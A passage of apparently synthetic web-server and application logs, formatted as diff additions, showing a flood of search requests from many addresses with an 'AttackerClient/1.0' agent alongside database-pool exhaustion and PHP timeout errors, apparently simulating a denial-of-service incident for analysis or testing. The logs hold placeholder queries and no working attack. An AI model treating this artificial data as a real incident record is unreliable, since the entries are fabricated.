/api/v1/search?query=some_very_long_and_complex_search_string_580" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:45 192.168.77.123 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_793" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:45 192.168.213.67 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_661" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:45 192.168.234.70 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_688" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.36.246 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_323" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.247.39 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_885" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.196.160 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_76" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.144.99 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_440" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.72.129 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_793" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.167.201 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_118" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.42.243 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_777" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.203.219 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_521" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.203.219 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_397" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.171.143 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_853" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.250.143 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_850" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.34.30 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_516" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.82.200 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_96" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.102.19 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_167" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.145.84 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_659" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.226.203 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_802" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:05:05 192.168.77.236 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_961" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.115.37 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_63" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.86.134 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_538" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.157.71 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_523" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.42.197 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_303" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.82.200 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_254" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.144.99 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_306" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:10 192.168.224.30 - - [02/Jul/2025:12:05:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_781" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:10 192.168.79.28 - - [02/Jul/2025:12:05:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_725" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:10 192.168.127.217 - - [02/Jul/2025:12:05:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_963" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.121.144 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_250" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.109.226 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_537" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.195.12 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_396" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.73.60 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_763" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:05:15 mysqld[6789]: WARNING Aborted connection 145 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:05:20 192.168.196.160 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_936" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.28.66 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_461" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.247.39 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_957" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.241.140 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_799" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.36.154 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_891" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.234.70 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_749" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:20 192.168.71.37 - - [02/Jul/2025:12:05:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_750" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.72.129 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_804" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.66.186 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_210" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.241.140 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_712" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.247.39 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_60" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.66.186 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_565" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.109.226 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_435" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 192.168.109.226 - - [02/Jul/2025:12:05:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_132" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:25 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:05:30 192.168.82.200 - - [02/Jul/2025:12:05:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_884" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:30 192.168.247.39 - - [02/Jul/2025:12:05:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_199" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:30 192.168.183.236 - - [02/Jul/2025:12:05:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_521" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:35 192.168.34.30 - - [02/Jul/2025:12:05:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_150" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:35 192.168.48.248 - - [02/Jul/2025:12:05:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_155" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:35 192.168.196.160 - - [02/Jul/2025:12:05:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_201" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.42.243 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.77.236 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.157.71 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_478" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:40 192.168.127.217 - - [02/Jul/2025:12:05:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_513" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:45 192.168.203.219 - - [02/Jul/2025:12:05:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_38" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:45 192.168.157.71 - - [02/Jul/2025:12:05:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_348" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:45 192.168.73.60 - - [02/Jul/2025:12:05:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_271" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.167.29 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_212" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.203.219 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_402" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.66.186 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_875" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 192.168.36.154 - - [02/Jul/2025:12:05:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_287" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:50 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:05:50 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:05:55 192.168.158.81 - - [02/Jul/2025:12:05:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_31" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:55 192.168.77.123 - - [02/Jul/2025:12:05:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_931" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:55 192.168.145.84 - - [02/Jul/2025:12:05:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_662" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.79.28 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_813" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.102.19 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_520" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.203.219 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_606" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 192.168.216.177 - - [02/Jul/2025:12:06:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_402" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:00 mysqld[6789]: WARNING Aborted connection 158 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:06:05 192.168.109.226 - - [02/Jul/2025:12:06:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_232" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:05 192.168.221.1 - - [02/Jul/2025:12:06:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_431" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:05 192.168.226.203 - - [02/Jul/2025:12:06:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_13" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.36.246 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_273" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.77.236 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_756" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.203.219 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_928" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.128.100 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_25" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:10 192.168.179.126 - - [02/Jul/2025:12:06:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_344" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.42.197 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_195" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.152.63 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_933" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.173.250 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_152" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.34.30 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_173" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.77.236 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_820" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 192.168.250.143 - - [02/Jul/2025:12:06:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_111" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:15 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:06:20 192.168.158.81 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_891" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:20 192.168.115.37 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_223" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:20 192.168.73.60 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_59" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:20 192.168.213.190 - - [02/Jul/2025:12:06:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_686" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 192.168.241.140 - - [02/Jul/2025:12:06:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_120" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 192.168.128.100 - - [02/Jul/2025:12:06:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 192.168.50.169 - - [02/Jul/2025:12:06:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_717" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:25 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:06:30 192.168.234.70 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_684" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.173.250 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_212" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.28.66 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_534" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.77.236 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_365" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:30 192.168.73.60 - - [02/Jul/2025:12:06:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_691" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.226.203 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_197" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.173.250 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_801" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.79.28 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_987" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.183.236 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_275" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.109.226 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_238" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.28.66 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_256" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:35 192.168.102.19 - - [02/Jul/2025:12:06:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_232" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.36.154 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_149" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.66.186 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_816" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.221.1 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_424" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.50.169 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_98" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.203.219 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_802" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.224.30 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_816" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 192.168.42.197 - - [02/Jul/2025:12:06:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_868" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:40 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:06:45 192.168.123.70 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_380" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.71.37 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_348" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.109.226 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_686" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.123.70 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_785" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.28.66 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_776" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 192.168.203.219 - - [02/Jul/2025:12:06:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_4" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:45 mysqld[6789]: WARNING Aborted connection 143 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:06:50 192.168.73.60 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_91" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:50 192.168.71.37 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_181" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:50 192.168.196.160 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_4" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:50 192.168.66.186 - - [02/Jul/2025:12:06:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_333" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.36.154 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_395" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.48.248 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_460" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.195.12 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_79" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:06:55 192.168.167.201 - - [02/Jul/2025:12:06:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_201" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.48.248 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_917" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.145.84 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_502" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.195.12 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_99" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 192.168.128.100 - - [02/Jul/2025:12:07:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_729" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:00 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:07:05 192.168.221.1 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_841" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.157.71 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_520" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.167.29 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_229" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.36.154 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_121" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.28.66 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_763" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.72.129 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_356" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 192.168.77.123 - - [02/Jul/2025:12:07:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_772" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:05 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:07:10 192.168.213.190 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_382" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.77.236 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_907" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.109.226 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_509" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.79.28 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_230" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.167.201 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_754" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:10 192.168.216.177 - - [02/Jul/2025:12:07:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_49" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:15 192.168.71.37 - - [02/Jul/2025:12:07:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_169" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:15 192.168.66.186 - - [02/Jul/2025:12:07:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_459" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:15 192.168.203.219 - - [02/Jul/2025:12:07:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_319" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.28.66 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_487" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.213.67 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_12" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.86.134 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_738" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.179.126 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_150" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.234.70 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_916" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.167.29 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_280" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:20 192.168.127.217 - - [02/Jul/2025:12:07:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_296" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:25 192.168.216.177 - - [02/Jul/2025:12:07:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_690" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:07:25 192.168.128.100 - - [02/Jul/2025:12:07:25 +0000] "GET 